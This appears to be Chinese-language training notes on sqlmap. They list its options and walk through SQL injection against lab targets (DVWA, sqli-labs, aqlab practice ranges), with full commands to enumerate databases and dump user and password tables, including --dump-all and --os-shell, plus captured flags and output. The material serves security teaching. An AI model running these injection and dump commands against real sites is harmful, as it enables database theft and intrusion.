§1.2 SQLmap
使用Kali2021.1或CentOS7.8中已安装配置好的sqlmap
【sqlmap用法】
# sqlmap -u "SQL注入点" [--cookie='security=low;PHPSESSID=x'] [其他选项]
(1)-u:指定目标URL,SQL注入点
(2)--cookie:设置cookie值
(3)--dbs: 枚举DBMS中的所有数据库【库】
(4)--tables:枚举DBMS数据库中的所有数据表【表】
(5)--columns:枚举DBMS数据库表中的所有列【字段】
(6)-D dvwa:要枚举的DBMS数据库dvwa【指定库】
(7)-T users:要枚举的DBMS数据表users【指定表】
(8)-C user,password:要枚举的DBMS数据表中的字段user,password【指定字段】
(9)--dump:转储DBMS数据表项
(10)--fresh-queries:使用这个参数sqlmap将不会从缓存里面加载,从而能注入到数据库最新数据
(11)-b:获取DBMS banner(DBMS:Database Management System 数据库管理系统,例如5.5.68-MariaDB)
(12)--current-db:获取当前数据库【当前库】
(13)--current-user:获取当前用户
(14)--string="Surname":当查询可用时用来匹配页面中的字符串
(15)--users:枚举DBMS用户
(16)--password:枚举DBMS用户密码hash
(17)其它:
--delay=1 延时1秒(防DDOS/CC攻击)
--os-shell 获取shell(不太容易遇见)
--dbms=mysql 指定数据库管理系统DBMS
--flush-session #清除缓存,或简写-z flu
--batch #不询问用户,使用所有默认的配置,可能会触发WAF的告警
--skip-urlencode #不会进行GET方式编码
--dump-all #拖库,所有数据库
sqlmap参数大全|sqlmap命令详解:https://zhuanlan.zhihu.com/p/485603130
【SQLmap注入拖库的一般步骤】
判断注入点:
$ sqlmap -u "url"
--cookie="security=low;PHPSESSID=tck3rspd17tehdauckef3749b6"
(1)爆库:dvwa
$ sqlmap -u "url" --current-db
(2)爆表:users
$ sqlmap -u "url" -D dvwa --tables
(3)爆字段、爆数据:user,password
$ sqlmap -u "url" -D dvwa -T users --dump
或将(3)分步为(3)和(4):
(3)爆字段:user,password
$ sqlmap -u "url" -D dvwa -T users --columns
(4)爆数据:
$ sqlmap -u "url" -D dvwa -T users -C user,password --dump
#拖库,所有数据库
$ sqlmap -u "url" --dump-all
一个网站的注入点,会导致拖库,服务器上的所有数据库!
【导入】
1.在虚拟机CentOS7.8(192.168.112.100)中部署“cake”网站
(1)下载cake.zip到桌面:
(2)解压缩到cake文件夹
(3)Xftp上传cake文件夹到/var/www/html/目录
(4)在虚拟机CentOS7.8(192.168.112.100)中导入数据库cake
# mysql -u root -p 123456
> create database cake;
> use cake;
> source /var/www/html/cake/cake.sql
> exit
#
或:
# mysql -u root -p 123456 -D cake < /var/www/html/cake/cake.sql
2.SQL注入


注入点:
http://192.168.112.100/cake/single.php?id=1

注意:
?id=1' and 1=2 union select 1,2,3--+ #无回显点,盲注
GET,字符型,无回显
无回显点,盲注,不能用联合查询SQL注入!
●SQLmap
判断注入点:
$ sqlmap -u http://192.168.112.100/cake/single.php?id=1

OS:Linux CentOS 7
外网站点:
$ sqlmap -u http://rykm6453.ia.aqlab.cn/single.php?id=1

OS:Windows
(1)爆库:cake
$ sqlmap -u "http://192.168.112.100/cake/single.php?id=1" --current-db
(2)爆表:user,cakes
$ sqlmap -u "http://192.168.112.100/cake/single.php?id=1" -D cake --tables
(3)爆字段、爆数据:Id,username,password
$ sqlmap -u "http://192.168.112.100/cake/single.php?id=1" -D cake -T user --dump

【实战1】DVWA-Low-SQL Injection
注入点:
http://192.168.112.100/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit
SQLmap:
判断注入点:
$ sqlmap -u "http://192.168.112.100/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie='security=low; PHPSESSID=tck3rspd17tehdauckef3749b6'


LAMP:Linux CentOS 7
Apache 2.4.6
MySQL >=5.0 (MariaDB fork) (5.5.68-MariaDB)
PHP 5.4.16
(1)爆库:dvwa
$ sqlmap -u "http://192.168.112.100/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie='security=low; PHPSESSID=tck3rspd17tehdauckef3749b6' --current-db

(2)爆表:users
$ sqlmap -u "http://192.168.112.100/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie='security=low; PHPSESSID=tck3rspd17tehdauckef3749b6' -D dvwa --tables

(3)爆字段、爆数据:
$ sqlmap -u "http://192.168.112.100/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie='security=low; PHPSESSID=tck3rspd17tehdauckef3749b6' -D dvwa -T users --dump

或将(3)分步为(3)和(4):
(3)爆字段:
$ sqlmap -u "http://192.168.112.100/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie='security=low; PHPSESSID=tck3rspd17tehdauckef3749b6' -D dvwa -T users --columns

$ sqlmap -u "http://192.168.112.100/loginPHP/loginAuth.php?usernm=1" -D dvwa -T users --columns
利用任何一个网站的SQL注入漏洞,都能爆出其他网站的数据库!
(4)爆数据:
(base) ┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.112.100/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie='security=low; PHPSESSID=tck3rspd17tehdauckef3749b6' -D dvwa -T users -C user,password --dump

default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_'

【实战2】sqli-labs/Less-1
注入点:
http://192.168.112.100/sqli-labs/Less-1/?id=1
SQLmap:
判断注入点:
$ sqlmap -u "http://192.168.112.100/sqli-labs/Less-1/?id=1"

(1)爆库:security
$ sqlmap -u "http://192.168.112.100/sqli-labs/Less-1/?id=1" --current-db

(2)爆表:emails,referers,uagents,users
$ sqlmap -u "http://192.168.112.100/sqli-labs/Less-1/?id=1" -D security --tables

(3)爆字段、爆数据:
$ sqlmap -u "http://192.168.112.100/sqli-labs/Less-1/?id=1" -D security -T users --dump

或将(3)分步为(3)和(4):
(3)爆字段:id,password,username
$ sqlmap -u "http://192.168.112.100/sqli-labs/Less-1/?id=1" -D security -T users --columns

(4)爆数据:
$ sqlmap -u "http://192.168.112.100/sqli-labs/Less-1/?id=1" -D security -T users -C username,password --dump

【实战3】loginPHP/loginAuth.php

POST,usernm,passwd
快速拖库:
$ sqlmap -u http://192.168.112.100/loginPHP/login.php --form --current-db --batch
$ sqlmap -u http://192.168.112.100/loginPHP/login.php --form -D mydb --tables --batch
$ sqlmap -u http://192.168.112.100/loginPHP/login.php --form -D mydb -T users --dump --batch --flush-session
注入点:
http://192.168.112.100/loginPHP/loginAuth.php?usernm=1
SQLmap:
判断注入点:
$ sqlmap -u "http://192.168.112.100/loginPHP/loginAuth.php?usernm=1"

或:
$ sqlmap -u http://192.168.112.100/loginPHP/login.php --form

(1)爆库:mydb
$ sqlmap -u "http://192.168.112.100/loginPHP/loginAuth.php?usernm=1" --current-db

(2)爆表:users
$ sqlmap -u "http://192.168.112.100/loginPHP/loginAuth.php?usernm=1" -D mydb --tables

(3)爆字段、爆数据:
$ sqlmap -u "http://192.168.112.100/loginPHP/loginAuth.php?usernm=1" -D mydb -T users --dump

或将(3)分步为(3)和(4):
(3)爆字段:id,password,username
$ sqlmap -u "http://192.168.112.100/loginPHP/loginAuth.php?usernm=1" -D mydb -T users --columns

(4)爆数据:wl210514 | wgxy202201-03
$ sqlmap -u "http://192.168.112.100/loginPHP/loginAuth.php?usernm=1" -D mydb -T users -C username,password --dump

flag:wgxy202201-03
【实战4】猫舍

注入点:
http://cntj8003.ia.aqlab.cn/?id=1
SQLmap:
判断注入点:
$ sqlmap -u "http://cntj8003.ia.aqlab.cn/?id=1"

(1)爆库:maoshe
$ sqlmap -u "http://cntj8003.ia.aqlab.cn/?id=1" --current-db

$ sqlmap -u "http://cntj8003.ia.aqlab.cn/?id=1" --dump-all #拖库,所有数据库
information_schema, maoshe, test
(2)爆表:admin,dirs,news,xss
$ sqlmap -u "http://cntj8003.ia.aqlab.cn/?id=1" -D maoshe --tables

(3)爆字段、爆数据:
$ sqlmap -u "http://cntj8003.ia.aqlab.cn/?id=1" -D maoshe -T admin --dump --delay=1

或将(3)分步为(3)和(4):
(3)爆字段:Id,username,password
$ sqlmap -u "http://cntj8003.ia.aqlab.cn/?id=1" -D maoshe -T admin --columns

(4)爆数据:
$ sqlmap -u "http://cntj8003.ia.aqlab.cn/?id=1" -D maoshe -T admin -C username,password --dump

flag:hellohack
【实战5】SQL注入靶场Pass-01

注入点:
http://injectx1.lab.aqlab.cn/Pass-01/index.php?id=1
SQLmap:
判断注入点:
$ sqlmap -u "http://injectx1.lab.aqlab.cn/Pass-01/index.php?id=1"

(1)爆库:error
# sqlmap -u "http://injectx1.lab.aqlab.cn/Pass-01/index.php?id=1" --current-db

(2)爆表:error_flag,user
$ sqlmap -u "http://injectx1.lab.aqlab.cn/Pass-01/index.php?id=1" -D error --tables

(3)爆字段、爆数据:
$ sqlmap -u "http://injectx1.lab.aqlab.cn/Pass-01/index.php?id=1" -D error -T error_flag --dump

或将(3)分步为(3)和(4):
(3)爆字段:flag,Id
$ sqlmap -u "http://injectx1.lab.aqlab.cn/Pass-01/index.php?id=1" -D error -T error_flag --columns

(4)爆数据:
# sqlmap -u "http://injectx1.lab.aqlab.cn/Pass-01/index.php?id=1" -D error -T error_flag -C flag,Id --dump

【实战6】SQL注入靶场Pass-10
点左侧栏“Pass-05”

注入点:
http://injectx1.lab.aqlab.cn/Pass-10/index.php?id=1
SQLmap:
判断注入点:
$ sqlmap -u "http://injectx1.lab.aqlab.cn/Pass-10/index.php?id=1"

(1)爆库:kanwolongxia
$ sqlmap -u "http://injectx1.lab.aqlab.cn/Pass-10/index.php?id=1" --current-db
![]()
爆库:枚举系统中所有的数据库名
$ sqlmap -u "http://injectx1.lab.aqlab.cn/Pass-10/index.php?id=1" --dbs

available databases [6]:
[*] error
[*] head_error
[*] information_schema
[*] kanwolongxia
[*] post_error
[*] widechar
(2)爆表:user,loflag,news
枚举数据库的表名
$ sqlmap -u "http://injectx1.lab.aqlab.cn/Pass-10/index.php?id=1" --current-db --tables





# sqlmap -u "http://injectx1.lab.aqlab.cn/Pass-10/index.php?id=1" -D kanwolongxia --tables

Database: kanwolongxia
[3 tables]
+--------+
| user |
| loflag |
| news |
+--------+
(3)爆字段、爆数据:
$ sqlmap -u "http://injectx1.lab.aqlab.cn/Pass-10/index.php?id=1" -D kanwolongxia -T loflag --dump

或将(3)分步为(3)和(4):
(3)爆字段:flaglo,Id
$ sqlmap -u "http://injectx1.lab.aqlab.cn/Pass-10/index.php?id=1" -D kanwolongxia -T loflag --columns

+---------+----------------+
| Column | Type |
+---------+----------------+
| flaglo | varchar(255) |
| Id | int(11) |
+---------+----------------+
(4)爆数据:zKaQ-QQQ
$ sqlmap -u "http://injectx1.lab.aqlab.cn/Pass-10/index.php?id=1" -D kanwolongxia -T loflag -C flaglo,Id --dump

+--------------------+----+
| flaglo | Id |
+--------------------+----+
| zKaQ-QQQ | 1 |
| zKaQ-RD | 2 |
| zKaQ-Moren | 3 |
| zKaQ-time-hj | 4 |
| zKaQ-time-zxxz | 5 |
+--------------------+----+
【实战7】DVWA-Low-SQL Injection (Blind)

注入点:
http://192.168.112.100/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit
SQLmap:
判断注入点:
$ sqlmap -u "http://192.168.112.100/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=tck3rspd17tehdauckef3749b6'
(1)爆库:dvwa
$ sqlmap -u "http://192.168.112.100/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=tck3rspd17tehdauckef3749b6' --current-db
(2)爆表:users
$ sqlmap -u "http://192.168.112.100/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=tck3rspd17tehdauckef3749b6' -D dvwa --tables
(3)爆字段、爆数据:
$ sqlmap -u "http://192.168.112.100/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=tck3rspd17tehdauckef3749b6' -D dvwa -T users --dump

或将(3)分步为(3)和(4):
(3)爆字段:user,password
$ sqlmap -u "http://192.168.112.100/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=tck3rspd17tehdauckef3749b6' -D dvwa -T users --columns
(4)爆数据:
$ sqlmap -u "http://192.168.112.100/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=tck3rspd17tehdauckef3749b6' -D dvwa -T users -C user,password --dump

POST,在SQLmap中加参数--data="name1=value1&name2=value2"或--forms
【实战8】sqli-labs/Less-11

POST,字符型,有回显
--skip-urlencode
注入点:
http://192.168.112.100/sqli-labs/Less-11/
SQLmap:
判断注入点:
$ sqlmap -u "http://192.168.112.100/sqli-labs/Less-11/" --data "uname=admin&passwd=123&submit=Submit"
(1)爆库:security
$ sqlmap -u "http://192.168.112.100/sqli-labs/Less-11/" --data "uname=admin&passwd=123&submit=Submit" --current-db
(2)爆表:users等4张表
$ sqlmap -u "http://192.168.112.100/sqli-labs/Less-11/" --data "uname=admin&passwd=123&submit=Submit" -D security --tables
(3)爆字段、爆数据:
$ sqlmap -u "http://192.168.112.100/sqli-labs/Less-11/" --data "uname=admin&passwd=123&submit=Submit" -D security -T users --dump

或将(3)分步为(3)和(4):
(3)爆字段:id,username,password
$ sqlmap -u "http://192.168.112.100/sqli-labs/Less-11/" --data "uname=admin&passwd=123&submit=Submit" -D security -T users --columns
(4)爆数据:
$ sqlmap -u "http://192.168.112.100/sqli-labs/Less-11/" --data "uname=admin&passwd=123&submit=Submit" -D security -T users -C username,password --dump
POST 需要加--data "uname=admin&passwd=123&submit=Submit"传参或--forms传参
$ sqlmap -u "http://192.168.112.100/sqli-labs/Less-11/" --forms --dbs

【作业】sqli-labs/Less-12

POST,字符型,有回显
注入点:
http://192.168.112.100/sqli-labs/Less-12/
SQLmap:
判断注入点:
$ sqlmap -u "http://192.168.112.100/sqli-labs/Less-12/" --forms
(1)爆库:security
$ sqlmap -u "http://192.168.112.100/sqli-labs/Less-12/" --forms --dbs
$ sqlmap -u "http://192.168.112.100/sqli-labs/Less-12/" --forms --current-db
(2)爆表:users等4张表
$ sqlmap -u "http://192.168.112.100/sqli-labs/Less-12/" --forms -D security --tables
(3)爆字段、爆数据:
$ sqlmap -u "http://192.168.112.100/sqli-labs/Less-12/" --forms -D security -T users --dump

或将(3)分步为(3)和(4):
(3)爆字段:id,username,password
$ sqlmap -u "http://192.168.112.100/sqli-labs/Less-12/" --forms -D security -T users --columns
(4)爆数据:
$ sqlmap -u "http://192.168.112.100/sqli-labs/Less-12/" --forms -D security -T users -C username,password --dump


